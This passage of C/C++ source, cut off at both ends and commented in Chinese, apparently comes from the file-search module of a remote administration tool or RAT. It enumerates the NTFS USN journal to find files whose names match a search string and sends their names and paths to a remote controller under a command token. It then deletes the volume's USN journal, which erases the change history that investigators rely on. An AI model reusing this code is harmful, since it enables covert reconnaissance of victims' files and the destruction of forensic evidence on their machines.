getBasicInfoSuccess = true;
} else {
BYTE lpbuffer = TOKEN_FILE_SEARCHPLUS_GETUSN;
Send((LPBYTE)&lpbuffer, 1);
return;
}
if (getBasicInfoSuccess) {
MFT_ENUM_DATA med;
med.StartFileReferenceNumber = 0;
med.LowUsn = 0;//UsnInfo.FirstUsn; 这里经测试发现,如果用FirstUsn有时候不正确,导致获取到不完整的数据,还是直接写0好.
med.HighUsn = UsnInfo.NextUsn;
CHAR buffer[4096]; // 用于储存记录的缓冲,尽量足够地大
DWORD usnDataSize;
PUSN_RECORD UsnRecord;
while (0 != DeviceIoControl(hVol, FSCTL_ENUM_USN_DATA, &med, sizeof(med), buffer, 4096, &usnDataSize, NULL)) {
DWORD dwRetBytes = usnDataSize - sizeof(USN);
UsnRecord = (PUSN_RECORD)(((PCHAR)buffer) + sizeof(USN));
while (dwRetBytes > 0) {
const int strLen = UsnRecord->FileNameLength;
char c_fileName[MAX_PATH * 2] = { 0 };
WCHAR *search = ConvertTCharToWChar(tc_search);
if (wcsstr(UsnRecord->FileName, search) != NULL) { //在a中查找b,如果不存在,
WideCharToMultiByte(CP_OEMCP, NULL, UsnRecord->FileName, strLen / 2, c_fileName, strLen, NULL, FALSE);
GetFullPathByFileReferenceNumber(hVol, UsnRecord->FileReferenceNumber);
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE);
memcpy(lpBuffer + dwOffset, c_fileName, strlen(c_fileName));
dwOffset += (DWORD)strlen(c_fileName) + 1;
memcpy(lpBuffer + dwOffset, c_pathname, strlen(c_pathname));
dwOffset += (DWORD)strlen(c_pathname) + 1;
}
SAFE_DELETE_AR(search);
DWORD recordLen = UsnRecord->RecordLength;
dwRetBytes -= recordLen;
UsnRecord = (PUSN_RECORD)(((PCHAR)UsnRecord) + recordLen);
}
med.StartFileReferenceNumber = *(USN*)&buffer;
}
}
DELETE_USN_JOURNAL_DATA dujd;
dujd.UsnJournalID = UsnInfo.UsnJournalID;
dujd.DeleteFlags = USN_DELETE_FLAG_DELETE;
status = DeviceIoControl(hVol, FSCTL_DELETE_USN_JOURNAL, &dujd, sizeof(dujd), NULL, 0, &br, NULL);
}
// 最后释放一些资源
if (getHandleSuccess) {
CloseHandle(hVol);
}
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE);
if (lpBuffer == NULL)
return;
Send((LPBYTE)lpBuffer, (int)(LocalSize(lpBuffer)));
LocalFree(lpBuffer);
return;
}
}